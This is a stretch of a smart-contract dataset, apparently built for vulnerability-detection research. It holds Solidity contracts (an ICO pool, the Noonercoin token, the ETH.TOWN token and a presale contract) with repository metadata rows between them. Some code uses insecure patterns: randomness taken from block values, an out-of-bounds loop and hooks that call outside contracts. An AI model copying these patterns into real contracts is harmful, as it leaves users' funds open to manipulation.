contributor.fee = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
_user.transfer(eth_to_withdraw);
//Refund(_user, eth_to_withdraw, contributor.balance, this.balance);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund(address _user) internal {
require(bought_tokens && rounds == 0 && percent_reduction > 0);
Contributor storage contributor = contributors[_user];
require(contributor.rounds == 0);
uint256 eth_to_withdraw = contributor.balance.mul(percent_reduction).div(100);
contributor.balance = contributor.balance.sub(eth_to_withdraw);
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
//We don't care about updatng contributor's fee, it doesn't matter for receiving the tokens
uint256 fee = contributor.fee.mul(percent_reduction).div(100);
eth_to_withdraw = eth_to_withdraw.add(fee);
}
_user.transfer(eth_to_withdraw);
//Refund(_user, eth_to_withdraw, contributor.balance, this.balance);
}
function take_fees_eth_dev() internal {
if (FEE_DEV != 0) {
DEVELOPER1.transfer(const_contract_eth_value.div(FEE_DEV));
DEVELOPER2.transfer(const_contract_eth_value.div(FEE_DEV));
}
}
function take_fees_eth_owner() internal {
//Owner takes fees on the ETH in this case
//In case owner doesn't want to take fees
if (FEE_OWNER != 0) {
owner.transfer(const_contract_eth_value.div(FEE_OWNER));
}
}
function calculate_with_fees(uint256 _amount) internal returns (uint256) {
//divided by two because 2 devs, so 0.4% in total
uint256 temp = _amount;
if (FEE_DEV != 0) {
temp = temp.add(_amount.div(FEE_DEV/2));
}
if (FEE_OWNER != 0) {
temp = temp.add(_amount.div(FEE_OWNER));
}
return temp;
}
function tokens_received() internal {
//We need to check the previous token balance
uint256 previous_balance;
for (uint8 i = 0; i < snapshots.length; i++) {
previous_balance = previous_balance.add(snapshots[i].tokens_balance);
}
snapshots.push(Snapshot(token.balanceOf(address(this)).sub(previous_balance), const_contract_eth_value));
//we don't leave out the tokens that didn't get withdrawn
rounds++;
}
//PUBLIC FUNCTIONS
//============================
function tokenFallback(address _from, uint _value, bytes _data) {
if (ERC20(msg.sender) == token) {
tokens_received();
}
}
function withdraw_my_tokens() {
for (uint8 i = contributors[msg.sender].rounds; i < rounds; i++) {
withdraw(msg.sender);
}
}
function withdraw_tokens_for(address _addy) {
for (uint8 i = contributors[_addy].rounds; i < rounds; i++) {
withdraw(_addy);
}
}
function refund_my_ether() {
refund(msg.sender);
}
function partial_refund_my_ether() {
partial_refund(msg.sender);
}
function provide_eth() payable {}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions && (gas_price_max == 0 || tx.gasprice <= gas_price_max));
Contributor storage contributor = contributors[msg.sender];
//Checks if contributor is whitelisted
if (whitelist_enabled) {
require(contributor.whitelisted || viscous_contract.is_whitelisted(msg.sender));
}
//Manages cases of dev and/or owner taking fees
//"Worst case", substract 0 from the msg.value
uint256 fee = 0;
if (FEE_OWNER != 0) {
fee = SafeMath.div(msg.value, FEE_OWNER);
}
uint256 fees = fee;
if (FEE_DEV != 0) {
fee = msg.value.div(FEE_DEV/2);
fees = fees.add(fee);
}
//Updates both of the balances
contributor.balance = contributor.balance.add(msg.value).sub(fees);
contributor.fee = contributor.fee.add(fees);
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || contributor.balance <= individual_cap);
//Contribution(msg.sender, msg.value, contributor.balance, this.balance);
}
}
| 203,279 | 11,282 |
f571f22e0d4b648a38be3802e497f50b192d0511456c9cd5d7608bc4ca73cb2e
| 24,504 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/9b/9B4345D685a2e840e7f38C581B7eeb8C308Bed89_Noonercoin.sol
| 6,131 | 23,645 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
using SafeMath for uint256;
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 public totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count = 0;
uint256 previousCyclesTotalTokens = 0;
uint256 previousCyclesTotalWei = 0;
uint256 indexs = 1;
uint256[] randomVariableArray;
uint256[] previousCyclesBalance;
uint256[] previousCyclesWeiBalance;
uint256 public weiAmountAdded = 0;
uint256 public weiAmountAddedAtBurn = 0;
uint256 signmaValueWei = 0;
uint256 currentMintingRateTotalTokens = 0;
uint256 totalMintedTokens = 0;
uint256 weiToBurned = 0;
uint256 totalWeiInAdminAcc = 0;
uint256[] previousSigmaValues;
uint256[] previousBurnValues;
bool stopTheMinting = false;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add, uint256 currentTime) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
//burn the tokens before minting
if(isNewCycleStart) {
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
else {
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
if(stopTheMinting) {
return false;
}
else {
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
//condition to call a popRandomVariable
uint256 nowTime = now;
uint256 totalOccurences = getTotalPresentOcuurences();
if(totalOccurences != 120) {
if(nowTime-weekStartTime >= 720){
popRandomVariable();
weekStartTime=now;
}
}
//adding the minting tokens into the admin account
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = currentTime;
//changing the mintingrate with above condition
uint256 timeDiff = lastMintingTime - startTime;
if(timeDiff >= _cycleTime){
//wei amount of >.5 to be added in adminAccount
if(noonerwei[add] >= (10**18/2)) {
noonercoin[add] += 1;
weiAmountAdded += 1;
}
if(totalCycleLeft == 0) {
stopTheMinting = true;
}
else {
totalCycleLeft = totalCycleLeft - 1;
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
}
}
//2nd check for popRandomVaribale
uint256 totalPicks = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
uint256 diff = 0;
uint256 estimatePicks = 0;
uint256 picks = 0;
if(totalPicks != 120 && lastMintingTime != 0) {
diff = lastMintingTime - startTime;
if(diff > _frequency) {
estimatePicks = (diff-_frequency)/720;
if(totalPicks >= estimatePicks){
picks = 0;
}
else {
picks = estimatePicks - totalPicks;
for(uint256 i = 0; i < picks; i++){
popRandomVariable();
}
}
}
}
return true;
}
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag*720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag*720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 adminBalance = noonercoin[adminAddress];
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
totalMintedTokens = (adminBalance-_fundersAmount - weiAmountAdded)*10**18 + noonerwei[adminAddress] + totalWeiBurned; //before adding totalWeiBurned.
weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
totalWeiInAdminAcc = (adminBalance-_fundersAmount - weiAmountAdded) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {
return false;
}
uint256 remainingWei;
if(totalWeiInAdminAcc > weiToBurned) {
remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = _fundersAmount + weiAmountAdded + (remainingWei/10**18);
uint256 weiAddedInAdminAccount = remainingWei - (noonercoin[adminAddress] - _fundersAmount - weiAmountAdded) * 10**18;
//add +1 token to adminAccount when remain wei is >.5
if(weiAddedInAdminAccount >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiToBurned = (weiToBurned/10**18)* 10**18;
weiAmountAddedAtBurn += 1;
}
noonerwei[adminAddress] = 0;
totalWeiBurned = totalWeiBurned + weiToBurned;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[adminAddress];
previousCyclesTotalWei = remainingWei - (noonercoin[adminAddress] - _fundersAmount - weiAmountAdded - weiAmountAddedAtBurn) * 10**18;
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(signmaValueWei);
previousBurnValues.push(weiToBurned);
}
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) public view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousBurnValues.push(0);
previousSigmaValues.push(0);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
if(stopTheMinting) {
return false;
}
else {
uint256 weiAfterMint = missedWei;
noonercoin[add] = noonercoin[add] + missedToken;
noonerwei[add] = weiAfterMint;
return true;
}
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
//wei amount of >.5 to be added in adminAccount
if(noonerwei[adminAddress] >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiAmountAdded += 1;
}
if(stopTheMinting) {
return false;
}
else {
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
return true;
}
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = 0;
if(lastMintingTime != 0) {
lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
}
return lastMintingTimeAndStartTimeDifference;
}
function checkMissingTokens(address add) public view returns (uint256, uint256, uint256, uint256) {
uint256 adminBalance = 0;//noonercoin[add]; //admin bal
uint256 adminBalanceinWei = 0;//noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0,0, 0, totalCycleLeft);
}
if (lastMintingTime != 0) {
uint256 estimatedMintedToken = 0;
uint256 estimatedMintedTokenWei = 0;
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference.div(_frequency);
if(totalCycleLeft != 19) {
adminBalance = noonercoin[add] - weiAmountAdded - weiAmountAddedAtBurn; //admin bal
adminBalanceinWei = noonerwei[add]; //admin bal wei
estimatedMintedToken = (previousCyclesTotalTokens - weiAmountAdded - weiAmountAddedAtBurn) + valueForEach * mintingRateNoonerCoin;
estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;
}
if(totalCycleLeft == 19) {
adminBalance = noonercoin[add]; //admin bal
adminBalanceinWei = noonerwei[add]; //admin bal wei
estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;
}
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedToken += temp;
uint256 weiVariance = estimatedMintedTokenWei - (temp * 10**18);
uint256 checkDifference = 0;
if(estimatedMintedToken != adminBalance) {
if(adminBalance >= estimatedMintedToken) {
checkDifference = 0;
} else {
checkDifference = estimatedMintedToken - adminBalance;
}
}
if(weiVariance == adminBalanceinWei) {
weiVariance = 0;
}
return (checkDifference, weiVariance, weekStartTime, totalCycleLeft);
}
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
function getRandomVariablesArray() public view returns(uint256[] memory) {
return(randomVariableArray);
}
function previousCyclesBalances() public view returns(uint256[] memory) {
return(previousCyclesBalance);
}
function getLastMintingRateWei() public view returns(uint256) {
return(mintingRateNoonerWei);
}
function getBurnValues(address add) public view returns(uint256, uint256, uint256, uint256, uint256, uint256) {
return(signmaValueWei, currentMintingRateTotalTokens, totalMintedTokens, weiToBurned, totalWeiInAdminAcc, weiAmountAdded);
}
function previousCyclesBurn() public view returns(uint256[] memory) {
return(previousBurnValues);
}
function previousCyclesSigmaValue() public view returns(uint256[] memory) {
return(previousSigmaValues);
}
}
| 122,779 | 11,283 |
db748abc1df281f77eded45dcd2934e110f028cf7042919eeb22aeaf6e75a4a6
| 15,412 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2ceedb62c316665fc30ee8f9657ffcb36be09a96.sol
| 2,990 | 11,159 |
pragma solidity ^0.4.21;
// SafeMath is a part of Zeppelin Solidity library
// licensed under MIT License
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/LICENSE
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// https://github.com/OpenZeppelin/zeppelin-solidity
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
_postTransferHook(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function _postTransferHook(address _from, address _to, uint256 _value) internal;
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
_postTransferHook(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/// @dev Contract constructor
function Owned() public {
owner = msg.sender;
}
}
contract AcceptsTokens {
ETToken public tokenContract;
function AcceptsTokens(address _tokenContract) public {
tokenContract = ETToken(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function acceptTokens(address _from, uint256 _value, uint256 param1, uint256 param2, uint256 param3) external;
}
contract ETToken is Owned, StandardToken {
using SafeMath for uint;
string public name = "ETH.TOWN Token";
string public symbol = "ETIT";
uint8 public decimals = 18;
address public beneficiary;
address public oracle;
address public heroContract;
modifier onlyOracle {
require(msg.sender == oracle);
_;
}
mapping (uint32 => address) public floorContracts;
mapping (address => bool) public canAcceptTokens;
mapping (address => bool) public isMinter;
modifier onlyMinters {
require(msg.sender == owner || isMinter[msg.sender]);
_;
}
event Dividend(uint256 value);
event Withdrawal(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ETToken() public {
oracle = owner;
beneficiary = owner;
totalSupply_ = 0;
}
function setOracle(address _oracle) external onlyOwner {
oracle = _oracle;
}
function setBeneficiary(address _beneficiary) external onlyOwner {
beneficiary = _beneficiary;
}
function setHeroContract(address _heroContract) external onlyOwner {
heroContract = _heroContract;
}
function _mintTokens(address _user, uint256 _amount) private {
require(_user != 0x0);
balances[_user] = balances[_user].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
emit Transfer(address(this), _user, _amount);
}
function authorizeFloor(uint32 _index, address _floorContract) external onlyOwner {
floorContracts[_index] = _floorContract;
}
function _acceptDividends(uint256 _value) internal {
uint256 beneficiaryShare = _value / 5;
uint256 poolShare = _value.sub(beneficiaryShare);
beneficiary.transfer(beneficiaryShare);
emit Dividend(poolShare);
}
function acceptDividends(uint256 _value, uint32 _floorIndex) external {
require(floorContracts[_floorIndex] == msg.sender);
_acceptDividends(_value);
}
function rewardTokensFloor(address _user, uint256 _tokens, uint32 _floorIndex) external {
require(floorContracts[_floorIndex] == msg.sender);
_mintTokens(_user, _tokens);
}
function rewardTokens(address _user, uint256 _tokens) external onlyMinters {
_mintTokens(_user, _tokens);
}
function() payable public {
// Intentionally left empty, for use by floors
}
function payoutDividends(address _user, uint256 _value) external onlyOracle {
_user.transfer(_value);
emit Withdrawal(_user, _value);
}
function accountAuth(uint256) external {
// Does nothing by design
}
function burn(uint256 _amount) external {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
emit Burn(msg.sender, _amount);
}
function setCanAcceptTokens(address _address, bool _value) external onlyOwner {
canAcceptTokens[_address] = _value;
}
function setIsMinter(address _address, bool _value) external onlyOwner {
isMinter[_address] = _value;
}
function _invokeTokenRecipient(address _from, address _to, uint256 _value, uint256 _param1, uint256 _param2, uint256 _param3) internal {
if (!canAcceptTokens[_to]) {
return;
}
AcceptsTokens recipient = AcceptsTokens(_to);
recipient.acceptTokens(_from, _value, _param1, _param2, _param3);
}
function transferWithParams(address _to, uint256 _value, uint256 _param1, uint256 _param2, uint256 _param3) onlyPayloadSize(5 * 32) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
_invokeTokenRecipient(msg.sender, _to, _value, _param1, _param2, _param3);
return true;
}
function _postTransferHook(address _from, address _to, uint256 _value) internal {
_invokeTokenRecipient(_from, _to, _value, 0, 0, 0);
}
}
contract PresaleContract is Owned {
ETToken public tokenContract;
/// @dev Contract constructor
function PresaleContract(address _tokenContract) public {
tokenContract = ETToken(_tokenContract);
}
}
contract ETFloorPresale is PresaleContract {
using SafeMath for uint;
bool public enabled;
mapping (address => uint256) public paymentOf;
uint256 public totalPayments;
uint256 public maxUserPayment = 1 ether;
uint256 public maxPayments = 100 ether;
event Payment(address from, uint256 amount);
function ETFloorPresale(address _presaleToken)
PresaleContract(_presaleToken)
public
{
enabled = true;
}
function _isContract(address _user) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_user) }
return size > 0;
}
function() public payable {
require(enabled);
require(!_isContract(msg.sender));
require(msg.value >= 100 finney);
require(paymentOf[msg.sender].add(msg.value) <= maxUserPayment);
paymentOf[msg.sender] = paymentOf[msg.sender].add(msg.value);
totalPayments = totalPayments.add(msg.value);
emit Payment(msg.sender, msg.value);
tokenContract.rewardTokens(msg.sender, msg.value * 200);
if (totalPayments >= maxPayments) {
enabled = false;
}
}
function setEnabled(bool _enabled) public onlyOwner {
enabled = _enabled;
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function setMaxUserPayment(uint256 _maxUserPayment) public onlyOwner {
maxUserPayment = _maxUserPayment;
}
function setMaxPayments(uint256 _maxPayments) public onlyOwner {
maxPayments = _maxPayments;
}
}
| 212,152 | 11,284 |
f9c041b3dba572d63ded23d939c481d8fdeabee344150d6074e401d2e5495856
| 30,019 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
